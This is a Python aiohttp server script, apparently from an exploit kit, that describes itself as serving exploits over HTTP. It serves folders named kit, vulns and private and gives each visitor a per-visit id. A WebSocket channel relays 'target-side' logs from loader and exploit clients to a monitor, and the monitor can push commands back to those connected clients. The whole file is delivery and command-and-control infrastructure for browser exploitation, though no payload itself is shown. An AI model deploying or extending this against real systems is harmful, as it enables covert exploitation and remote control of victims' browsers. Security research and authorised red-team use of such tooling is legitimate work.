server.py

import argparse
import asyncio
import json
import logging
import uuid
from aiohttp import web, WSMsgType
from datetime import datetime
from string import Template


parser = argparse.ArgumentParser(prog="server.py", description="Serve exploits over HTTP", formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument("--listen", default="localhost", help="IP address to bind")
parser.add_argument("--port", default=8000, type=int, help="Port to bind")
parser.add_argument("--port2", type=int, help="Optional secondary HTTP port")
parser.add_argument("--loader", default="http://localhost:8000", help="Loader origin")
parser.add_argument("--exp", default="http://127.0.0.1:8000", help="Exploit origin")
parser.add_argument("--ws", default="ws://localhost:8000", help="WebSocket origin")
parser.add_argument("--file", action="append", default=argparse.SUPPRESS, help="Add a static file mapping (default: /main.js:main.js, /monitor:monitor.html)")
parser.add_argument("--folder", action="append", default=argparse.SUPPRESS, help="Add static folder mapping (default: /kit:kit, /vulns:vulns, /private:private)")
parser.add_argument("--no-default-files-folders", action="store_true", help="Do not serve default files / folders mappings")
parser.add_argument("--trusted-proxy", action="append", help="Add a trusted proxy")
parser.add_argument("--monitor-uid", default="MONITORING", help="UID for the monitor tool. Logs will be relayed to clients presenting this UID.")
parser.add_argument("--silent", action="store_true", help="Do not display target-side logs")
args = parser.parse_args()


async def http_index_handler(req):
    with open("index.html") as f:
        template = Template(f.read())
        content = template.substitute(uid=uuid.uuid4(), loader_origin=args.loader, exp_origin=args.exp,
                                      ws_origin=args.ws, silent="true" if args.silent else "false")
        return web.Response(text=content, content_type='text/html')


exp_to_loader = {}
uid_to_ws = {}
ws_logger = logging.getLogger("websocket")
async def websocket_handler(request):
    ws = web.WebSocketResponse()
    await ws.prepare(request)

    tracked_uid = ""
    client_id = "UNKNOWN"

    remote = request.remote
    if args.trusted_proxy and remote in args.trusted_proxy:
        remote = request.headers.get("X-Forwarded-For", "").split(",")[0]

    async for raw_msg in ws:
        if raw_msg.type != WSMsgType.TEXT:
            ws_logger.error(f"{client_id} [{datetime.now().astimezone().strftime('%d/%b/%Y:%H:%M:%S %z')}] Invalid Message")
            uid_to_ws.pop(client_id, None)
            await ws.close()
            return ws

        msg = {}
        try:
            msg = json.loads(raw_msg.data)
        except json.decoder.JSONDecodeError:
            pass

        if not "type" in msg:
            ws_logger.error(f"{client_id} [{datetime.now().astimezone().strftime('%d/%b/%Y:%H:%M:%S %z')}] Invalid Message")
            uid_to_ws.pop(client_id, None)
            await ws.close()
            return ws

        if msg["type"] == "log":
            log = str(msg["data"])
            uid = client_id
            if tracked_uid:
                uid = tracked_uid
            ws_logger.info(f"{uid} [{datetime.now().astimezone().strftime('%d/%b/%Y:%H:%M:%S %z')}] \"{log}\"")

            if args.monitor_uid in uid_to_ws and not uid_to_ws[args.monitor_uid].closed:
                await uid_to_ws[args.monitor_uid].send_json({"type": "log", "uid": uid, "log": log})

            if uid in exp_to_loader:
                loader_uid = exp_to_loader[uid]
                if loader_uid in uid_to_ws and not uid_to_ws[loader_uid].closed:
                    await uid_to_ws[loader_uid].send_json({"type": "log", "data": log})

        elif str(msg["type"]).startswith("cmd") and client_id == args.monitor_uid:
            if msg["uid"] in uid_to_ws and not uid_to_ws[msg["uid"]].closed:
                await uid_to_ws[msg["uid"]].send_json({"type": msg["type"], "data": msg["data"]})

        elif str(msg["type"]).startswith("uid"):
            uid = str(msg["uid"])
            ws_logger.info("%s [%s] \"%s\" \"%s=%s\"", remote + (f" (via {request.remote})" if remote != request.remote else ""),
                datetime.now().astimezone().strftime('%d/%b/%Y:%H:%M:%S %z'),
                request.headers.get("User-Agent"), str(msg["type"]), uid)

            if msg["type"] == "uid-monitor" and uid == args.monitor_uid:
                if args.monitor_uid in uid_to_ws and not uid_to_ws[args.monitor_uid].closed:
                    await uid_to_ws[uid].close()
                client_id = uid
                uid_to_ws[uid] = ws

            elif msg["type"] == "uid-loader":
                client_id = uid
                uid_to_ws[uid] = ws
                if args.monitor_uid in uid_to_ws and not uid_to_ws[args.monitor_uid].closed:
                    await uid_to_ws[args.monitor_uid].send_json({"type": "loader-up", "uid": uid, "exploit": str(msg["exploit"]),
                                                                 "host": remote, "useragent": request.headers.get("User-Agent")})

            elif msg["type"] == "uid-track":
                if tracked_uid:
                    exp_to_loader.pop(tracked_uid, None)
                tracked_uid = uid
                exp_to_loader[uid] = client_id
                if args.monitor_uid in uid_to_ws and not uid_to_ws[args.monitor_uid].closed:
                    await uid_to_ws[args.monitor_uid].send_json({"type": "exploit-up", "uid": uid, "loader": client_id})

            else:
                client_id = uid

        else:
            ws_logger.error(f"{client_id} [{datetime.now().astimezone().strftime('%d/%b/%Y:%H:%M:%S %z')}] Invalid Message")
            uid_to_ws.pop(client_id, None)
            await ws.close()
            return ws


    ws_logger.error(f"{client_id} [{datetime.now().astimezone().strftime('%d/%b/%Y:%H:%M:%S %z')}] Connection Closed")
    if args.monitor_uid in uid_to_ws and not uid_to_ws[args.monitor_uid].closed:
        await uid_to_ws[args.monitor_uid].send_json({"type": "down", "uid": client_id})
    uid_to_ws.pop(client_id, None)
    exp_to_loader.pop(tracked_uid, None)
    await ws.close()
    return ws


async def main():
    logging.basicConfig(level=logging.INFO)

    app = web.Application()
    app.add_routes([
        web.get("/", http_index_handler),
        web.get("/ws-logging", websocket_handler),
    ])

    files = {"/main.js": "main.js", "/monitor": "monitor.html"} if not args.no_default_files_folders else {}
    if hasattr(args, "file"):
        for e in args.file:
            route, path = e.split(":", 1)
            files[route] = path
    app.add_routes([
        web.get(route, (lambda p=path: (lambda _: web.FileResponse(p)))())
        for route, path in files.items()
    ])

    folders = {"/kit": "kit", "/vulns": "vulns", "/private": "private"} if not args.no_default_files_folders else {}
    if hasattr(args, "folder"):
        for e in args.folder:
            route, path = e.split(":", 1)
            folders[route] = path
    for route, path in folders.items():
        app.router.add_static(route, path)

    runner = web.AppRunner(app, access_log_format='%a (%{X-Forwarded-For}i) %t "%r" %s %b "%{Referer}i" "%{User-Agent}i"')
    await runner.setup()

    site = web.TCPSite(runner, host=args.listen, port=args.port)
    await site.start()
    if args.port2:
        site2 = web.TCPSite(runner, host=args.listen, port=args.port2)
        await site2.start()

    print(f"======== Running on http://{args.listen}:{str(args.port) + (f",{str(args.port2)}" if args.port2 else "")} ========")
    print("(Press CTRL+C to quit)")

    try:
        await asyncio.Event().wait()
    finally:
        await runner.cleanup()


if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        pass